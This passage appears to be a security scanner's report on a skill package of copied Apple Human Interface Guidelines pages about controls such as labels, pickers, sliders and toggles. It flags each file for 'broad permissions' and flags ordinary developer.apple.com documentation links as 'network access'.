    ![An image of a continuous capacity indicator in which the leftmost one-eigth is red, the next three-eighths are yellow, the next one-fourth is green, and the last one-fourth is unfilled.](https://docs-assets.developer.apple.com/published/6
  • Network accessline 53
    For guidance using the rating style to help people rank something, see [Rating indicators](https://developer.apple.com/design/human-interface-guidelines/rating-indicators).
  • Network accessline 57
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/gauges#Resources)
  • Network accessline 59
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/gauges#Related)
  • Network accessline 61
    [Ratings and reviews](https://developer.apple.com/design/human-interface-guidelines/ratings-and-reviews)
  • Network accessline 63
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/gauges#Developer-documentation)
  • Network accessline 65
    [`Gauge`](https://developer.apple.com/documentation/SwiftUI/Gauge) — SwiftUI
  • Network accessline 67
    [`NSLevelIndicator`](https://developer.apple.com/documentation/AppKit/NSLevelIndicator) — AppKit
  • Network accessline 69
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/gauges#Change-log)

skills/hig-components-controls/references/labels.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Labels | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/labels
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/labels
  • Network accessline 9
    ![A stylized representation of a text label. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/b428963465f223dd1fdd01779043810c/components-label-intro%
  • Network accessline 26
    To display uneditable text, SwiftUI defines two components: [`Label`](https://developer.apple.com/documentation/SwiftUI/Label) and [`Text`](https://developer.apple.com/documentation/SwiftUI/Text).
  • Network accessline 28
    The guidance below can help you use a label to display text. In some cases, guidance for specific components — such as [action buttons](https://developer.apple.com/design/human-interface-guidelines/buttons), [menus](https://developer.apple.
  • Network accessline 30
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/labels#Best-practices)
  • Network accessline 32
    **Use a label to display a small amount of text that people don’t need to edit.** If you need to let people edit a small amount of text, use a [text field](https://developer.apple.com/design/human-interface-guidelines/text-fields). If you n
  • Network accessline 36
    **Use system-provided label colors to communicate relative importance.** The system defines four label colors that vary in appearance to help you give text different levels of visual importance. For additional guidance, see [Color](https://
  • Network accessline 38
    System color| Example usage| iOS, iPadOS, tvOS, visionOS| macOS   ---|---|---|---   Label| Primary information| [`label`](https://developer.apple.com/documentation/UIKit/UIColor/label)| [`labelColor`](https://developer.apple.com/documentati
  • Network accessline 39
    ---|---|---|---   Label| Primary information| [`label`](https://developer.apple.com/documentation/UIKit/UIColor/label)| [`labelColor`](https://developer.apple.com/documentation/AppKit/NSColor/labelColor)   Secondary label| A subheading or s
  • Network accessline 40
    Label| Primary information| [`label`](https://developer.apple.com/documentation/UIKit/UIColor/label)| [`labelColor`](https://developer.apple.com/documentation/AppKit/NSColor/labelColor)
  • Network accessline 41
    Secondary label| A subheading or supplemental text| [`secondaryLabel`](https://developer.apple.com/documentation/UIKit/UIColor/secondaryLabel)| [`secondaryLabelColor`](https://developer.apple.com/documentation/AppKit/NSColor/secondaryLabelC
  • Network accessline 42
    Tertiary label| Text that describes an unavailable item or behavior| [`tertiaryLabel`](https://developer.apple.com/documentation/UIKit/UIColor/tertiaryLabel)| [`tertiaryLabelColor`](https://developer.apple.com/documentation/AppKit/NSColor/t
  • Network accessline 43
    Quaternary label| Watermark text| [`quaternaryLabel`](https://developer.apple.com/documentation/UIKit/UIColor/quaternaryLabel)| [`quaternaryLabelColor`](https://developer.apple.com/documentation/AppKit/NSColor/quaternaryLabelColor)
  • Network accessline 47
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/labels#Platform-considerations)
  • Network accessline 51
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/labels#macOS)
  • Network accessline 55
    To display uneditable text in a label, use the [`isEditable`](https://developer.apple.com/documentation/AppKit/NSTextField/isEditable) property of [`NSTextField`](https://developer.apple.com/documentation/AppKit/NSTextField).
  • Network accessline 57
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/labels#watchOS)
  • Network accessline 61
    ![An illustration of date and time text components on Apple Watch, with the date aligned to the leading edge and the time aligned to the trailing edge.](https://docs-assets.developer.apple.com/published/3cedf27f398b6683c78d37a325f26c33/labe
  • Network accessline 63
    ![An illustration of a countdown timer text component on Apple Watch, with the time value at the center.](https://docs-assets.developer.apple.com/published/bc3014364c7bc508ff68d21d79c15441/labels-countdown-timer-text-component%402x.png)Time
  • Network accessline 67
    Consider using date and timer components in complications. For design guidance, see [Complications](https://developer.apple.com/design/human-interface-guidelines/components/system-experiences/complications); for developer guidance, see [`Te
  • Network accessline 69
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/labels#Resources)
  • Network accessline 71
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/labels#Related)
  • Network accessline 73
    [Text fields](https://developer.apple.com/design/human-interface-guidelines/text-fields)
  • Network accessline 75
    [Text views](https://developer.apple.com/design/human-interface-guidelines/text-views)
  • Network accessline 77
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/labels#Developer-documentation)
  • Network accessline 79
    [`Label`](https://developer.apple.com/documentation/SwiftUI/Label) — SwiftUI
  • Network accessline 81
    [`Text`](https://developer.apple.com/documentation/SwiftUI/Text) — SwiftUI
  • Network accessline 83
    [`UILabel`](https://developer.apple.com/documentation/UIKit/UILabel) — UIKit
  • Network accessline 85
    [`NSTextField`](https://developer.apple.com/documentation/AppKit/NSTextField) — AppKit
  • Network accessline 87
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/labels#Change-log)

skills/hig-components-controls/references/pickers.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Pickers | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/pickers
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/pickers
  • Network accessline 9
    ![A stylized representation of a selected item in a scrollable list. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/56b152d613ef1fc1424549eaa95a23d6
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/pickers#Best-practices)
  • Network accessline 17
    **Consider using a picker to offer medium-to-long lists of items.** If you need to display a fairly short list of choices, consider using a [pull-down button](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons) 
  • Network accessline 25
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/pickers#Platform-considerations)
  • Network accessline 29
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/pickers#iOS-iPadOS)
  • Network accessline 67
    ![An illustration of a compact date picker, with a single inline row showing the currently selected date. The picker opens as a popover extending down from the row, and includes a full calendar month for choosing the date.](https://docs-ass
  • Network accessline 69
    ![An illustration of an inline date picker, titled 'Date'. A toggle at the top is switched on, and a calendar month for choosing the date appears below the title and toggle.](https://docs-assets.developer.apple.com/published/053773055a1630d
  • Network accessline 71
    ![An illustration of an inline time picker, titled 'Time'. The currently selected time appears in the title row, and three vertical wheels appear below the title row for choosing the hour, minute, and AM or PM value.](https://docs-assets.de
  • Network accessline 75
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/pickers#macOS)
  • Network accessline 79
    For developer guidance, see [`NSDatePicker`](https://developer.apple.com/documentation/AppKit/NSDatePicker).
  • Network accessline 81
    ### [tvOS](https://developer.apple.com/design/human-interface-guidelines/pickers#tvOS)
  • Network accessline 83
    Pickers are available in tvOS with SwiftUI. For developer guidance, see [`Picker`](https://developer.apple.com/documentation/SwiftUI/Picker).
  • Network accessline 85
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/pickers#watchOS)
  • Network accessline 89
    A picker can display a list of items using the wheels style. watchOS can also display date and time pickers using the wheels style. For developer guidance, see [`Picker`](https://developer.apple.com/documentation/SwiftUI/Picker) and [`DateP
  • Network accessline 91
    ![An illustration representing a screen containing a picker view on Apple Watch, showing three items in a list. The center item is highlighted.](https://docs-assets.developer.apple.com/published/00d1eeb88cc503430767c2318605a71d/pickers-whee
  • Network accessline 93
    ![An illustration representing a screen containing a date picker on Apple Watch, with the day highlighted.](https://docs-assets.developer.apple.com/published/30053c6f5cb2c0246e5ebecbd8ad70c3/pickers-date-watch%402x.png)
  • Network accessline 95
    ![An illustration representing a screen containing a time picker on Apple Watch, with the minutes highlighted.](https://docs-assets.developer.apple.com/published/842ba89f2c3fdb2894949dee31bf8849/pickers-time-watch%402x.png)
  • Network accessline 99
    For longer lists, the navigation link displays the picker as a button. When someone taps the button, the system shows the list of options. The person can also scrub through the options using the Digital Crown without tapping the button. For
  • Network accessline 101
    ![An illustration representing a screen that contains a picker button on Apple Watch. The button’s text denotes that the second item is selected.](https://docs-assets.developer.apple.com/published/657d90a59d600e7eee70effde6784e45/pickers-na
  • Network accessline 103
    ![An illustration representing a screen showing a list of items on Apple Watch. The second item in the list is selected.](https://docs-assets.developer.apple.com/published/1e533809fb6fc291a53fd12ff0ec41f4/pickers-navigation-list-watch%402x.
  • Network accessline 105
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/pickers#Resources)
  • Network accessline 107
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/pickers#Related)
  • Network accessline 109
    [Pull-down buttons](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons)
  • Network accessline 111
    [Lists and tables](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables)
  • Network accessline 113
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/pickers#Developer-documentation)
  • Network accessline 115
    [`Picker`](https://developer.apple.com/documentation/SwiftUI/Picker) — SwiftUI
  • Network accessline 117
    [`UIDatePicker`](https://developer.apple.com/documentation/UIKit/UIDatePicker) — UIKit
  • Network accessline 119
    [`UIPickerView`](https://developer.apple.com/documentation/UIKit/UIPickerView) — UIKit
  • Network accessline 121
    [`NSDatePicker`](https://developer.apple.com/documentation/AppKit/NSDatePicker) — AppKit
  • Network accessline 123
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/pickers#Change-log)

skills/hig-components-controls/references/rating-indicators.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Rating indicators | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/rating-indicators
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/rating-indicators
  • Network accessline 9
    ![A stylized representation of a rating indicator denoting a ranking of three out of five stars. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/aacc
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/rating-indicators#Best-practices)
  • Network accessline 19
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/rating-indicators#Platform-considerations)
  • Network accessline 23
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/rating-indicators#Resources)
  • Network accessline 25
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/rating-indicators#Related)
  • Network accessline 27
    [Ratings and reviews](https://developer.apple.com/design/human-interface-guidelines/ratings-and-reviews)
  • Network accessline 29
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/rating-indicators#Developer-documentation)
  • Network accessline 31
    [`NSLevelIndicator.Style.rating`](https://developer.apple.com/documentation/AppKit/NSLevelIndicator/Style/rating) — AppKit
  • Network accessline 33
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/rating-indicators#Change-log)

skills/hig-components-controls/references/segmented-controls.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Segmented controls | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/segmented-controls
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/segmented-controls
  • Network accessline 9
    ![A stylized representation of a selected segment in a segmented control. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/89298764551d236435a7057412c
  • Network accessline 11
    Within a segmented control, all segments are usually equal in width. Like [buttons](https://developer.apple.com/design/human-interface-guidelines/buttons), segments can contain text or images. Segments can also have text labels beneath them
  • Network accessline 15
    ![A partial screenshot of a segmented control that consists of four text-alignment options. The center alignment option is selected.](https://docs-assets.developer.apple.com/published/7ed5112804ec078b8ba281e30a30ec85/segmented-control-one-c
  • Network accessline 17
    ![A partial screenshot of a segmented control that consists of four font types. Three of the four options are selected.](https://docs-assets.developer.apple.com/published/0b1d550e9c4fc6e201d45640fad819eb/segmented-control-multiple-choices%4
  • Network accessline 19
    In addition to representing the state of a single or multiple-choice selection, a segmented control can function as a set of buttons that perform actions without showing a selection state. For example, the Reply, Reply all, and Forward butt
  • Network accessline 21
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/segmented-controls#Best-practices)
  • Network accessline 25
    ![A screenshot of the top half of the Activity screen in the iOS Health app, showing graphs of Move and Exercise activity. The segmented control above the graphs has D selected, indicating that the graphs show one day of activity.](https://
  • Network accessline 37
    ## [Content](https://developer.apple.com/design/human-interface-guidelines/segmented-controls#Content)
  • Network accessline 43
    **Use nouns or noun phrases for segment labels.** Write text that describes each segment and uses [title-style capitalization](https://support.apple.com/guide/applestyleguide/c-apsgb744e4a3/web#apdca93e113f1d64). A segmented control that di
  • Network accessline 45
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/segmented-controls#Platform-considerations)
  • Network accessline 49
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/segmented-controls#iOS-iPadOS)
  • Network accessline 51
    **Consider a segmented control to switch between closely related subviews.** A segmented control can be useful as a way to quickly switch between related subviews. For example, the segmented control in Calendar’s New Event sheet switches be
  • Network accessline 53
    ![A screenshot of the top half of the iOS Calendar app, showing the New Event sheet. A segmented control provides the ability to switch between adding a new event and a new reminder.](https://docs-assets.developer.apple.com/published/2438ac
  • Network accessline 55
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/segmented-controls#macOS)
  • Network accessline 59
    **Use a tab view in the main window area — instead of a segmented control — for view switching.** A [tab view](https://developer.apple.com/design/human-interface-guidelines/tab-views) supports efficient view switching and is similar in appe
  • Network accessline 61
    ![A screenshot of the macOS Calendar app. The main window area shows a tab view that contains four tabs: Day, Week, Month, and Year. The sidebar shows a segmented control that contains two segments: New and Replied.](https://docs-assets.dev
  • Network accessline 65
    ### [tvOS](https://developer.apple.com/design/human-interface-guidelines/segmented-controls#tvOS)
  • Network accessline 71
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/segmented-controls#visionOS)
  • Network accessline 75
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/segmented-controls#Resources)
  • Network accessline 77
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/segmented-controls#Related)
  • Network accessline 79
    [Split views](https://developer.apple.com/design/human-interface-guidelines/split-views)
  • Network accessline 81
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/segmented-controls#Developer-documentation)
  • Network accessline 83
    [`segmented`](https://developer.apple.com/documentation/SwiftUI/PickerStyle/segmented) — SwiftUI
  • Network accessline 85
    [`UISegmentedControl`](https://developer.apple.com/documentation/UIKit/UISegmentedControl) — UIKit
  • Network accessline 87
    [`NSSegmentedControl`](https://developer.apple.com/documentation/AppKit/NSSegmentedControl) — AppKit
  • Network accessline 89
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/segmented-controls#Change-log)

skills/hig-components-controls/references/sliders.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Sliders | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/sliders
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/sliders
  • Network accessline 9
    ![A stylized representation of a brightness slider. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/ebb02bcf10487e6a03fd081236b35aa0/components-slide
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/sliders#Best-practices)
  • Network accessline 19
    **Consider supplementing a slider with a corresponding text field and stepper.** Especially when a slider represents a wide range of values, people may appreciate seeing the exact slider value and having the ability to enter a specific valu
  • Network accessline 21
    ![An illustration of a horizontal linear slider without tick marks, followed by a text field and a stepper. The thumb is in the center of the slider and the text field displays 50%.](https://docs-assets.developer.apple.com/published/ce79e1e
  • Network accessline 23
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/sliders#Platform-considerations)
  • Network accessline 27
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/sliders#iOS-iPadOS)
  • Network accessline 29
    **Don’t use a slider to adjust audio volume.** If you need to provide volume control in your app, use a volume view, which is customizable and includes a volume-level slider and a control for changing the active audio output device. For gui
  • Network accessline 31
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/sliders#macOS)
  • Network accessline 39
    ![An illustration of a horizontal slider with the thumb in the middle. The leading portion of the track up to the thumb is filled with a blue highlight color.](https://docs-assets.developer.apple.com/published/92445cf683c4dc1b179fb5359a0bdb
  • Network accessline 41
    ![An illustration of a horizontal slider with the thumb between two tick marks in the middle of the slider. The leading portion of the track up to the thumb is filled with a blue highlight color.](https://docs-assets.developer.apple.com/pub
  • Network accessline 43
    ![An illustration of a circular slider with the thumb at the 12 o'clock position.](https://docs-assets.developer.apple.com/published/3f253ed199e7e92b6124e6161dd79152/sliders-circular%402x.png)Circular slider
  • Network accessline 49
    **Consider using a label to introduce a slider.** Labels generally use [sentence-style capitalization](https://help.apple.com/applestyleguide/#/apsgb744e4a3?sub=apdca93e113f1d64) and end with a colon. For guidance, see [Labels](https://deve
  • Network accessline 53
    ![A partial screenshot of the Energy Saver settings pane in macOS, cropped to show the slider that controls how long the display remains on after inactivity.](https://docs-assets.developer.apple.com/published/90d44ac8355f4a4e672e5e81633814e
  • Network accessline 55
    **Consider adding labels to tick marks for even greater clarity.** Labels can be numbers or words, depending on the slider’s values. It’s unnecessary to label every tick mark unless doing so is needed to reduce confusion. In many cases, lab
  • Network accessline 57
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/sliders#visionOS)
  • Network accessline 61
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/sliders#watchOS)
  • Network accessline 65
    ![An illustration of a watchOS volume slider with discrete steps. The first two of three steps are filled with a green highlight color, indicating the volume level.](https://docs-assets.developer.apple.com/published/3acc4339289d9cf65ec982e7
  • Network accessline 67
    ![An illustration of a watchOS volume slider with a continuous bar. Two-thirds of the bar is filled with a green highlight color, indicating the volume level.](https://docs-assets.developer.apple.com/published/b356f0616bad32afce9ac9e6276341
  • Network accessline 71
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/sliders#Resources)
  • Network accessline 73
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/sliders#Related)
  • Network accessline 75
    [Steppers](https://developer.apple.com/design/human-interface-guidelines/steppers)
  • Network accessline 77
    [Pickers](https://developer.apple.com/design/human-interface-guidelines/pickers)
  • Network accessline 79
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/sliders#Developer-documentation)
  • Network accessline 81
    [`Slider`](https://developer.apple.com/documentation/SwiftUI/Slider) — SwiftUI
  • Network accessline 83
    [`UISlider`](https://developer.apple.com/documentation/UIKit/UISlider) — UIKit
  • Network accessline 85
    [`NSSlider`](https://developer.apple.com/documentation/AppKit/NSSlider) — AppKit
  • Network accessline 87
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/sliders#Change-log)

skills/hig-components-controls/references/steppers.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Steppers | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/steppers
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/steppers
  • Network accessline 9
    ![A stylized representation of a stepper control. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/091580d0530042f6685cd17226140173/components-stepper
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/steppers#Best-practices)
  • Network accessline 19
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/steppers#Platform-considerations)
  • Network accessline 23
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/steppers#macOS)
  • Network accessline 27
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/steppers#Resources)
  • Network accessline 29
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/steppers#Related)
  • Network accessline 31
    [Pickers](https://developer.apple.com/design/human-interface-guidelines/pickers)
  • Network accessline 33
    [Text fields](https://developer.apple.com/design/human-interface-guidelines/text-fields)
  • Network accessline 35
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/steppers#Developer-documentation)
  • Network accessline 37
    [`UIStepper`](https://developer.apple.com/documentation/UIKit/UIStepper) — UIKit
  • Network accessline 39
    [`NSStepper`](https://developer.apple.com/documentation/AppKit/NSStepper) — AppKit

skills/hig-components-controls/references/text-fields.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Text fields | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/text-fields
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/text-fields
  • Network accessline 9
    ![A stylized representation of a text field containing a value. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/d23fbf0321063ee6b988a1528ad48ef5/comp
  • Network accessline 11
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/text-fields#Best-practices)
  • Network accessline 13
    **Use a text field to request a small amount of information, such as a name or an email address.** To let people input larger amounts of text, use a [text view](https://developer.apple.com/design/human-interface-guidelines/text-views) inste
  • Network accessline 17
    **Use secure text fields to hide private data.** Always use a secure text field when your app asks for sensitive data, such as a password. For developer guidance, see [`SecureField`](https://developer.apple.com/documentation/SwiftUI/SecureF
  • Network accessline 29
    ![A partial screenshot of two stacked text fields. The top field contains a number with four decimal places. The bottom field contains a currency value.](https://docs-assets.developer.apple.com/published/4c7bdd958dfd5ae5c0eb2103f511c984/tex
  • Network accessline 33
    ![A partial screenshot of a text field that contains a sentence that is cut off before its end.](https://docs-assets.developer.apple.com/published/4f5087014620cf61ae6e6cf691766376/text-fields-clipped-text%402x.png)Clipped text
  • Network accessline 35
    ![A partial screenshot of a text field that contains a sentence that wraps to two lines.](https://docs-assets.developer.apple.com/published/5e7b94570af0f50c9e9a3061a428aa15/text-fields-wrapped-text%402x.png)Wrapped text
  • Network accessline 37
    ![A partial screenshot of a text field that contains a sentence that includes an ellipsis in place of the last few words.](https://docs-assets.developer.apple.com/published/ad0040baa8369af2dbd9ab88a25c3439/text-fields-truncated-text%402x.pn
  • Network accessline 39
    **Consider using an expansion tooltip to show the full version of clipped or truncated text.** An expansion tooltip behaves like a regular [tooltip](https://developer.apple.com/design/human-interface-guidelines/offering-help#macOS-visionOS)
  • Network accessline 41
    **In iOS, iPadOS, tvOS, and visionOS apps, show the appropriate keyboard type.** Several different keyboard types are available, each designed to facilitate a different type of input, such as numbers or URLs. To streamline data entry, displ
  • Network accessline 45
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/text-fields#Platform-considerations)
  • Network accessline 49
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/text-fields#iOS-iPadOS)
  • Network accessline 55
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/text-fields#macOS)
  • Network accessline 57
    **Consider using a combo box if you need to pair text input with a list of choices.** For related guidance, see [Combo boxes](https://developer.apple.com/design/human-interface-guidelines/combo-boxes).
  • Network accessline 59
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/text-fields#watchOS)
  • Network accessline 63
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/text-fields#Resources)
  • Network accessline 65
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/text-fields#Related)
  • Network accessline 67
    [Text views](https://developer.apple.com/design/human-interface-guidelines/text-views)
  • Network accessline 69
    [Combo boxes](https://developer.apple.com/design/human-interface-guidelines/combo-boxes)
  • Network accessline 71
    [Entering data](https://developer.apple.com/design/human-interface-guidelines/entering-data)
  • Network accessline 73
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/text-fields#Developer-documentation)
  • Network accessline 75
    [`TextField`](https://developer.apple.com/documentation/SwiftUI/TextField) — SwiftUI
  • Network accessline 77
    [`SecureField`](https://developer.apple.com/documentation/SwiftUI/SecureField) — SwiftUI
  • Network accessline 79
    [`UITextField`](https://developer.apple.com/documentation/UIKit/UITextField) — UIKit
  • Network accessline 81
    [`NSTextField`](https://developer.apple.com/documentation/AppKit/NSTextField) — AppKit
  • Network accessline 83
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/text-fields#Change-log)

skills/hig-components-controls/references/text-views.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Text views | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/text-views
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/text-views
  • Network accessline 9
    ![A stylized representation of a field containing text. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/21cb3b13c0de850f2eef9a9c7ec14754/components-t
  • Network accessline 13
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/text-views#Best-practices)
  • Network accessline 15
    **Use a text view when you need to display text that’s long, editable, or in a special format.** Text views differ from [text fields](https://developer.apple.com/design/human-interface-guidelines/text-fields) and [labels](https://developer.
  • Network accessline 17
    **Keep text legible.** Although you can use multiple fonts, colors, and alignments in creative ways, it’s essential to maintain the readability of your content. It’s a good idea to adopt Dynamic Type so your text still looks good if people 
  • Network accessline 21
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/text-views#Platform-considerations)
  • Network accessline 25
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/text-views#iOS-iPadOS)
  • Network accessline 27
    **Show the appropriate keyboard type.** Several different keyboard types are available, each designed to facilitate a different type of input. To streamline data entry, the keyboard you display when editing a text view needs to be appropria
  • Network accessline 29
    ### [tvOS](https://developer.apple.com/design/human-interface-guidelines/text-views#tvOS)
  • Network accessline 31
    You can display text in tvOS using a text view. Because text input in tvOS is minimal by design, tvOS uses [text fields](https://developer.apple.com/design/human-interface-guidelines/text-fields) for editable text instead.
  • Network accessline 33
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/text-views#Resources)
  • Network accessline 35
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/text-views#Related)
  • Network accessline 37
    [Labels](https://developer.apple.com/design/human-interface-guidelines/labels)
  • Network accessline 39
    [Text fields](https://developer.apple.com/design/human-interface-guidelines/text-fields)
  • Network accessline 41
    [Combo boxes](https://developer.apple.com/design/human-interface-guidelines/combo-boxes)
  • Network accessline 43
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/text-views#Developer-documentation)
  • Network accessline 45
    [`Text`](https://developer.apple.com/documentation/SwiftUI/Text) — SwiftUI
  • Network accessline 47
    [`UITextView`](https://developer.apple.com/documentation/UIKit/UITextView) — UIKit
  • Network accessline 49
    [`NSTextView`](https://developer.apple.com/documentation/AppKit/NSTextView) — AppKit
  • Network accessline 51
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/text-views#Change-log)

skills/hig-components-controls/references/toggles.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Toggles | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/toggles
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/toggles
  • Network accessline 9
    ![A stylized representation of two labeled switch controls. The image is tinted red to subtly reflect the red in the original six-color Apple logo.](https://docs-assets.developer.apple.com/published/f4a1d653777ba4f0b6b4b7d97d704f9f/componen
  • Network accessline 11
    A toggle can have various styles, such as switch and checkbox, and different platforms can use these styles in different ways. For guidance, see [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/toggles
  • Network accessline 13
    In addition to toggles, all platforms also support buttons that behave like toggles by using a different appearance for each state. For developer guidance, see [`ToggleStyle`](https://developer.apple.com/documentation/SwiftUI/ToggleStyle).
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/toggles#Best-practices)
  • Network accessline 17
    **Use a toggle to help people choose between two opposing values that affect the state of content or a view.** A toggle always lets people manage the state of something, so if you need to support other types of actions — such as choosing fr
  • Network accessline 23
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/toggles#Platform-considerations)
  • Network accessline 27
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/toggles#iOS-iPadOS)
  • Network accessline 33
    ![An illustration of two list rows, one with an active switch toggle and one with an inactive switch toggle. The active toggle is tinted green with the standard switch color.](https://docs-assets.developer.apple.com/published/95dd06ef1de5bf
  • Network accessline 35
    ![An illustration of two list rows, one with an active switch toggle and one with an inactive switch toggle. The active toggle is tinted purple with a custom switch color.](https://docs-assets.developer.apple.com/published/8e40963d32263c931
  • Network accessline 39
    ![A screenshot of the top half of the Phone app on iPhone, showing the filtered list of recent missed calls. The filter button in the top trailing corner has a blue highlight, indicating that the toggle is active.](https://docs-assets.devel
  • Network accessline 43
    ![A screenshot of the top half of the Phone app on iPhone, showing all recent calls. The filter button in the top trailing corner has no highlight, indicating that the toggle is inactive.](https://docs-assets.developer.apple.com/published/d
  • Network accessline 47
    **Avoid supplying a label that explains the button’s purpose.** The interface icon you create — combined with the alternative background appearances you supply — help people understand what the button does. For developer guidance, see [`cha
